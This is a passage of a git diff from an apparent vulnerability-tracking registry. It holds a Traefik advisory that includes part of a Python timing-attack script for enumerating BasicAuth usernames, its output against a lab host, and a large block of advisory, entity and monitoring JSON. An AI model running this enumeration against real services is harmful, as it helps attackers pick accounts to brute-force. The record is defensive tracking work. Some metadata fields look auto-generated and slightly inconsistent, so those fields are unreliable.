measure_time(user)\n if median > 0.05: # bcrypt threshold\n status = \"[+] EXISTS (slow - bcrypt verification)\"\n else:\n status = \"[-] NOT FOUND (fast - immediate return)\"\n print(f\"{status}: {user:20s} | median={median:.4f}s\")\n```\n\nExecution Results:\n```\nTarget: http://10.10.10.7:30080/protected\nSamples per user: 20\n\n[+] EXISTS (slow - bcrypt verification): admin | median=0.1665s\n[-] NOT FOUND (fast - immediate return): root | median=0.0006s\n[-] NOT FOUND (fast - immediate return): test | median=0.0006s\n[-] NOT FOUND (fast - immediate return): nonexistent | median=0.0006s\n\nTiming difference ratio: 298.0x\n```\n\n### Impact\n- **Vulnerability Type:** Information Disclosure via Timing Attack (CWE-208)\n- **Impact:**\n - Attackers can enumerate valid usernames without authentication\n - Enables targeted password brute-force attacks against confirmed accounts\n - Exposes information about system user structure\n- **Who is impacted:** All users of Traefik's BasicAuth middleware are affected. The vulnerability requires:\n - BasicAuth middleware enabled\n - Attacker able to make requests to protected endpoints\n - Network access to measure response times\n- **Attack Complexity:** Low - only requires sending HTTP requests and measuring response times\n- **Privileges Required:** None\n- **User Interaction:** None\n\n
\n\n---", + "published_at": "2026-03-20T15:43:13Z", + "updated_at": "2026-03-20T15:46:26.940872Z", + "severity": "medium", + "cvss_score": 4.0, + "exploit_status": "unknown", + "source_confidence": "official", + "official_source_url": "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr", + "secondary_source_urls": [ + "https://nvd.nist.gov/vuln/detail/CVE-2026-32595", + "https://github.com/traefik/traefik", + "https://github.com/traefik/traefik/releases/tag/v2.11.41", + "https://github.com/traefik/traefik/releases/tag/v3.6.11", + "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2" + ], + "aliases": [ + "CVE-2026-32595", + "GHSA-g3hg-j4jv-cwfr" + ], + "cve_ids": [ + "CVE-2026-32595" + ], + "ghsa_ids": [ + "GHSA-g3hg-j4jv-cwfr" + ], + "osv_ids": [ + "GHSA-g3hg-j4jv-cwfr" + ], + "affected_versions": [ + "introduced=0, last_affected=1.7.34", + "introduced=0, fixed<2.11.41", + "introduced=0, fixed<3.6.11", + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2" + ], + "fixed_versions": [ + "2.11.41", + "3.6.11", + "3.7.0-ea.2" + ], + "package_name": "github.com/traefik/traefik/v3", + "render_markdown": false, + "case_path": null, + "secure_code_topics": [ + "proxy-trust-boundary", + "request-smuggling-boundary", + "dependency-upgrade-policy" + ], + "status": "generated", + "triage_reasons": [], + "entity_refs": [ + { + "entity_id": "traefik", + "entity_type": "system", + "relation": "root-system", + "root_system_id": "traefik", + "official": true + }, + { + "entity_id": "traefik--repo--github-com-traefik-traefik-v3", + "entity_type": "repo", + "relation": "affected-component", + "root_system_id": "traefik", + "official": false + } + ], + "affected_components": [ + { + "name": "traefik / traefik / v3", + "entity_id": "traefik--repo--github-com-traefik-traefik-v3", + "scope": "repo", + "package_name": "github.com/traefik/traefik/v3", + "official": false + } + ], + "affected_version_ranges": [ + "introduced=0, last_affected=1.7.34", + "introduced=0, fixed<2.11.41", + "introduced=0, fixed<3.6.11", + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2" + ], + "fixed_version_ranges": [ + "2.11.41", + "3.6.11", + "3.7.0-ea.2" + ], + "introduced_version": "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2", + "patched_version": "2.11.41", + "version_evidence_sources": [ + "https://github.com/traefik/traefik/security/advisories/GHSA-g3hg-j4jv-cwfr", + "https://nvd.nist.gov/vuln/detail/CVE-2026-32595", + "https://github.com/traefik/traefik", + "https://github.com/traefik/traefik/releases/tag/v2.11.41", + "https://github.com/traefik/traefik/releases/tag/v3.6.11", + "https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2" + ], + "advisory_scope": "repo", + "version_confidence": "high", + "version_gap_reason": "", + "version_resolution_needed": false, + "workflow": { + "workflow_id": "traefik--CVE-2026-32595--workflow", + "vuln_family": "proxy-boundary", + "entry_surface": "proxy-header-or-trust-boundary", + "preconditions": [ + "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002", + "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: introduced=0, last_affected=1.7.34, introduced=0, fixed<2.11.41, introduced=0, fixed<3.6.11", + "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `repo`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002" + ], + "required_role": "reverse-proxy-or-edge-client", + "affected_version_assertion": [ + "introduced=0, last_affected=1.7.34", + "introduced=0, fixed<2.11.41", + "introduced=0, fixed<3.6.11", + "introduced=3.7.0-ea.1, fixed<3.7.0-ea.2" + ], + "trigger_vector": "\u5bf9 `proxy-boundary` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002", + "request_or_ui_path": [ + "/middleware", + "/x-forwarded-* trust path" + ], + "input_shape": "\u63d0\u4ea4\u53d7\u63a7\u4ee3\u7406\u5934\u6216\u6765\u6e90\u5934\uff0c\u9a8c\u8bc1\u4fe1\u4efb\u8fb9\u754c\u548c\u56de\u6e90\u9274\u6743\u3002", + "expected_unsafe_behavior": "\u4ec5\u51ed\u4ee3\u7406\u5934\u5373\u53ef\u8d8a\u8fc7\u9274\u6743\u6216\u6765\u6e90\u63a7\u5236\u3002", + "server_evidence_points": [ + "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808", + "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56" + ], + "browser_evidence_points": [ + "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02", + "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7" + ], + "db_or_fs_evidence_points": [ + "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e", + "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9" + ], + "detection_signals": [ + "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66", + "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6", + "\u4e0a\u6e38\u4ee3\u7406\u4e0e\u5e94\u7528\u5c42\u5bf9 Content-Length / Transfer-Encoding / forwarded headers \u7684\u89e3\u91ca\u5dee\u5f02" + ], + "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002", + "patch_validation_steps": [ + "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `introduced=0, last_affected=1.7.34, introduced=0, fixed<2.11.41, introduced=0, fixed<3.6.11` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `2.11.41`\u3002", + "\u4fdd\u7559\u540c\u4e00\u7ec4\u53d7\u63a7\u8f93\u5165\uff0c\u5728\u4fee\u590d\u524d\u540e\u5206\u522b\u6267\u884c\u5e76\u6bd4\u5bf9\u54cd\u5e94\u3001\u65e5\u5fd7\u4e0e\u6d4f\u89c8\u5668\u8bc1\u636e\u3002", + "\u786e\u8ba4\u4fee\u590d\u540e\u4ec5\u4fdd\u7559\u9884\u671f\u4e1a\u52a1\u884c\u4e3a\uff0c\u4e0d\u518d\u89e6\u53d1\u8d8a\u6743\u3001\u56de\u663e\u3001\u5f02\u5e38\u6e32\u67d3\u6216\u9519\u8bef\u8bf7\u6c42\u3002", + "\u8865\u5145 `proxy-boundary` \u65cf\u81ea\u52a8\u5316\u56de\u5f52\uff0c\u907f\u514d\u540c\u7c7b\u8def\u5f84\u5728\u63d2\u4ef6\u3001\u4e3b\u9898\u6216\u4ee3\u7406\u94fe\u4e2d\u56de\u5f52\u3002" + ], + "lab_safety_notes": [ + "\u53ea\u4f7f\u7528\u56de\u73af\u5730\u5740\u3001\u54e8\u5175\u76ee\u6807\u3001\u65e0\u5bb3\u6837\u672c\u6216\u53ef\u56de\u6eda\u6d4b\u8bd5\u6570\u636e\u3002", + "\u7981\u6b62\u9020\u6210\u6301\u4e45\u7834\u574f\u3001\u8d8a\u6743\u4e0b\u8f7d\u771f\u5b9e\u6570\u636e\u6216\u4e0d\u53ef\u56de\u6eda side effect\u3002", + "\u5982\u9700\u6d4f\u89c8\u5668\u8bc1\u636e\uff0c\u4fdd\u7559 baseline / proof \u4e24\u4efd\u5feb\u7167\u4ee5\u53ca console / network \u8bb0\u5f55\u3002" + ], + "review_state": "ready" + }, + "verification_status": "triage-manual", + "verification_mode": "synthetic", + "last_verified_at": null, + "last_run_id": null, + "evidence_bundle": null, + "historical_status": null, + "latest_status": null, + "browser_evidence": { + "required": false, + "present": false, + "refs": [] + }, + "repro_profile_id": "proxy-boundary-generic", + "artifact_mode": "synthetic", + "blocked_reason": null, + "metadata": { + "source_names": [ + "OSV Traefik" + ], + "source_kinds": [ + "osv-batch" + ], + "candidate_count": 1, + "entity_ref_count": 2, + "advisory_scope": "repo", + "version_confidence": "high", + "workflow_id": "traefik--CVE-2026-32595--workflow" + } +} diff --git a/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json b/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json new file mode 100644 index 00000000..57591469 --- /dev/null +++ b/08-threat-intel/registry/entities/spring-security--project--org-springframework-security-spring-security-web.json @@ -0,0 +1,31 @@ +{ + "entity_id": "spring-security--project--org-springframework-security-spring-security-web", + "entity_type": "project", + "display_name": "org.springframework.security:spring-security-web", + "parent_entity_id": "spring-security", + "root_system_id": "spring-security", + "category": "frameworks", + "ecosystem": "org.springframework.security:spring-security-web", + "official": true, + "status": "cataloged", + "history_policy": "history-full", + "repo_url": "", + "package_registry": "https://www.npmjs.com/package/org.springframework.security:spring-security-web", + "marketplace_url": "", + "latest_version": "6.5.9", + "version_scheme": "semver-ish", + "last_discovered_at": "2026-03-20T20:46:26+00:00", + "last_synced_at": "2026-03-20T20:46:26+00:00", + "history_backfill_status": "seeded", + "latest_sync_status": "green", + "official_source_covered": true, + "advisory_count": 1, + "workflow_complete_advisory_count": 1, + "version_mapped_advisory_count": 1, + "first_advisory_at": "2026-03-20T00:31:28+00:00", + "latest_advisory_at": "2026-03-20T20:46:26+00:00", + "advisory_ids": [ + "spring-security--CVE-2026-22732" + ], + "source_refs": [] +} diff --git a/08-threat-intel/registry/entities/spring-security.json b/08-threat-intel/registry/entities/spring-security.json index ca17aa8d..0781e5ca 100644 --- a/08-threat-intel/registry/entities/spring-security.json +++ b/08-threat-intel/registry/entities/spring-security.json @@ -12,22 +12,23 @@ "repo_url": "", "package_registry": "", "marketplace_url": "", - "latest_version": "", + "latest_version": "6.5.9", "version_scheme": "vendor", - "last_discovered_at": "", - "last_synced_at": "", + "last_discovered_at": "2026-03-20T20:46:26+00:00", + "last_synced_at": "2026-03-20T20:46:26+00:00", "history_backfill_status": "seeded", "latest_sync_status": "green", "official_source_covered": true, - "advisory_count": 3, - "workflow_complete_advisory_count": 3, - "version_mapped_advisory_count": 0, - "first_advisory_at": "", - "latest_advisory_at": "", + "advisory_count": 4, + "workflow_complete_advisory_count": 4, + "version_mapped_advisory_count": 1, + "first_advisory_at": "2026-03-20T00:31:28+00:00", + "latest_advisory_at": "2026-03-20T20:46:26+00:00", "advisory_ids": [ "spring-security--3da31f4883", "spring-security--7817f6fd2f", - "spring-security--9516ccd1a4" + "spring-security--9516ccd1a4", + "spring-security--CVE-2026-22732" ], "source_refs": [ { diff --git a/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json b/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json new file mode 100644 index 00000000..d89f5036 --- /dev/null +++ b/08-threat-intel/registry/entities/traefik--extension--github-com-traefik-traefik-v3.json @@ -0,0 +1,31 @@ +{ + "entity_id": "traefik--extension--github-com-traefik-traefik-v3", + "entity_type": "extension", + "display_name": "traefik / traefik / v3", + "parent_entity_id": "traefik", + "root_system_id": "traefik", + "category": "servers", + "ecosystem": "github.com", + "official": false, + "status": "cataloged", + "history_policy": "history-full", + "repo_url": "https://github.com/traefik/traefik", + "package_registry": "", + "marketplace_url": "", + "latest_version": "3.7.0-ea.2", + "version_scheme": "semver-ish", + "last_discovered_at": "2026-03-20T15:46:41+00:00", + "last_synced_at": "2026-03-20T15:46:41+00:00", + "history_backfill_status": "seeded", + "latest_sync_status": "green", + "official_source_covered": true, + "advisory_count": 1, + "workflow_complete_advisory_count": 1, + "version_mapped_advisory_count": 1, + "first_advisory_at": "2026-03-20T15:43:01+00:00", + "latest_advisory_at": "2026-03-20T15:46:41+00:00", + "advisory_ids": [ + "traefik--CVE-2026-32305" + ], + "source_refs": [] +} diff --git a/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json b/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json index 0c11a076..dd4414b8 100644 --- a/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json +++ b/08-threat-intel/registry/entities/traefik--repo--github-com-traefik-traefik-v3.json @@ -14,16 +14,16 @@ "marketplace_url": "", "latest_version": "2.11.6", "version_scheme": "semver-ish", - "last_discovered_at": "2026-03-18T13:59:10+00:00", - "last_synced_at": "2026-03-18T13:59:10+00:00", + "last_discovered_at": "2026-03-20T15:46:26+00:00", + "last_synced_at": "2026-03-20T15:46:26+00:00", "history_backfill_status": "complete", "latest_sync_status": "green", "official_source_covered": true, - "advisory_count": 16, - "workflow_complete_advisory_count": 16, - "version_mapped_advisory_count": 16, + "advisory_count": 17, + "workflow_complete_advisory_count": 17, + "version_mapped_advisory_count": 17, "first_advisory_at": "2024-07-09T19:34:07+00:00", - "latest_advisory_at": "2026-03-18T13:59:10+00:00", + "latest_advisory_at": "2026-03-20T15:46:26+00:00", "advisory_ids": [ "traefik--CVE-2024-39321", "traefik--CVE-2024-45410", @@ -37,6 +37,7 @@ "traefik--CVE-2026-26999", "traefik--CVE-2026-29054", "traefik--CVE-2026-29777", + "traefik--CVE-2026-32595", "traefik--GHSA-4hjq-9h5c-252j", "traefik--GHSA-5423-jcjm-2gpv", "traefik--GHSA-gv8r-9rw9-9697", diff --git a/08-threat-intel/registry/entities/traefik.json b/08-threat-intel/registry/entities/traefik.json index 475cef0c..a8ae67ce 100644 --- a/08-threat-intel/registry/entities/traefik.json +++ b/08-threat-intel/registry/entities/traefik.json @@ -14,16 +14,16 @@ "marketplace_url": "", "latest_version": "2.11.6", "version_scheme": "vendor", - "last_discovered_at": "2026-03-18T13:59:10+00:00", - "last_synced_at": "2026-03-18T13:59:10+00:00", + "last_discovered_at": "2026-03-20T15:46:41+00:00", + "last_synced_at": "2026-03-20T15:46:41+00:00", "history_backfill_status": "seeded", "latest_sync_status": "green", "official_source_covered": true, - "advisory_count": 43, - "workflow_complete_advisory_count": 43, - "version_mapped_advisory_count": 16, + "advisory_count": 45, + "workflow_complete_advisory_count": 45, + "version_mapped_advisory_count": 18, "first_advisory_at": "2024-07-09T19:34:07+00:00", - "latest_advisory_at": "2026-03-18T13:59:10+00:00", + "latest_advisory_at": "2026-03-20T15:46:41+00:00", "advisory_ids": [ "traefik--05879db0a0", "traefik--073109115e", @@ -59,6 +59,8 @@ "traefik--CVE-2026-26999", "traefik--CVE-2026-29054", "traefik--CVE-2026-29777", + "traefik--CVE-2026-32305", + "traefik--CVE-2026-32595", "traefik--GHSA-4hjq-9h5c-252j", "traefik--GHSA-5423-jcjm-2gpv", "traefik--GHSA-gv8r-9rw9-9697", diff --git a/08-threat-intel/registry/monitoring/2026-03-21T12-51-08+00-00.json b/08-threat-intel/registry/monitoring/2026-03-21T12-51-08+00-00.json new file mode 100644 index 00000000..9b8ab447 --- /dev/null +++ b/08-threat-intel/registry/monitoring/2026-03-21T12-51-08+00-00.json @@ -0,0 +1,6805 @@ +{ + "generated_at": "2026-03-21T12:51:08+00:00", + "source_catalog_audit": { + "generated_at": "2026-03-21T09:17:05+00:00", + "system_count": 62, + "source_count": 179, + "active_source_count": 101, + "retired_source_count": 78, + "systems_with_active_official": 61, + "systems_with_machine_readable_source": 61, + "systems": [ + { + "system_id": "adminer", + "display_name": "Adminer", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "adobe-commerce", + "display_name": "Adobe Commerce", + "category": "ecommerce", + "tier": "history-full", + "source_total": 5, + "active_source_total": 1, + "retired_source_total": 4, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 0, + "has_active_official": true, + "has_machine_readable_source": false + }, + { + "system_id": "angular", + "display_name": "Angular", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "apache-httpd", + "display_name": "Apache HTTP Server", + "category": "servers", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "apache-tomcat", + "display_name": "Apache Tomcat", + "category": "servers", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "aspnet-core", + "display_name": "ASP.NET Core", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "astro", + "display_name": "Astro", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "caddy", + "display_name": "Caddy", + "category": "servers", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "directus", + "display_name": "Directus", + "category": "cms", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 2, + "retired_source_total": 0, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "discourse", + "display_name": "Discourse", + "category": "cms", + "tier": "rolling-24m", + "source_total": 5, + "active_source_total": 3, + "retired_source_total": 2, + "official_active": 2, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 3, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "django", + "display_name": "Django", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 4, + "active_source_total": 3, + "retired_source_total": 1, + "official_active": 3, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "drupal", + "display_name": "Drupal", + "category": "cms", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 2, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "echo", + "display_name": "Echo", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 1, + "active_source_total": 1, + "retired_source_total": 0, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "esbuild", + "display_name": "esbuild", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "express", + "display_name": "Express", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "fastify", + "display_name": "Fastify", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "flask", + "display_name": "Flask", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "ghost", + "display_name": "Ghost", + "category": "cms", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "gin", + "display_name": "Gin", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 1, + "active_source_total": 1, + "retired_source_total": 0, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "gitea", + "display_name": "Gitea", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "gitlab-ce", + "display_name": "GitLab CE", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 4, + "active_source_total": 2, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "grafana", + "display_name": "Grafana", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 2, + "retired_source_total": 0, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "hapi", + "display_name": "Hapi", + "category": "frameworks", + "tier": "history-full", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "haproxy", + "display_name": "HAProxy", + "category": "servers", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "jenkins", + "display_name": "Jenkins", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "joomla", + "display_name": "Joomla", + "category": "cms", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "kibana", + "display_name": "Kibana", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "koa", + "display_name": "Koa", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "laravel", + "display_name": "Laravel", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "magento-open-source", + "display_name": "Magento Open Source", + "category": "ecommerce", + "tier": "history-full", + "source_total": 4, + "active_source_total": 3, + "retired_source_total": 1, + "official_active": 2, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "mattermost", + "display_name": "Mattermost", + "category": "platforms", + "tier": "rolling-24m", + "source_total": 4, + "active_source_total": 2, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 2, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "mediawiki", + "display_name": "MediaWiki", + "category": "cms", + "tier": "rolling-24m", + "source_total": 4, + "active_source_total": 2, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 2, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "medusa", + "display_name": "Medusa", + "category": "ecommerce", + "tier": "rolling-24m", + "source_total": 2, + "active_source_total": 1, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "moodle", + "display_name": "Moodle", + "category": "cms", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 0, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": false, + "has_machine_readable_source": true + }, + { + "system_id": "nestjs", + "display_name": "NestJS", + "category": "frameworks", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "nextjs", + "display_name": "Next.js", + "category": "frameworks", + "tier": "history-full", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "nginx", + "display_name": "Nginx", + "category": "servers", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "nodejs", + "display_name": "Node.js", + "category": "frameworks", + "tier": "history-full", + "source_total": 2, + "active_source_total": 2, + "retired_source_total": 0, + "official_active": 2, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "nuxt", + "display_name": "Nuxt", + "category": "frameworks", + "tier": "history-full", + "source_total": 3, + "active_source_total": 1, + "retired_source_total": 2, + "official_active": 1, + "ecosystem_active": 0, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "opencart", + "display_name": "OpenCart", + "category": "ecommerce", + "tier": "history-full", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + "research_active": 0, + "machine_readable_active": 1, + "has_active_official": true, + "has_machine_readable_source": true + }, + { + "system_id": "openmage", + "display_name": "OpenMage / Mage-OS", + "category": "ecommerce", + "tier": "rolling-24m", + "source_total": 3, + "active_source_total": 2, + "retired_source_total": 1, + "official_active": 1, + "ecosystem_active": 1, + 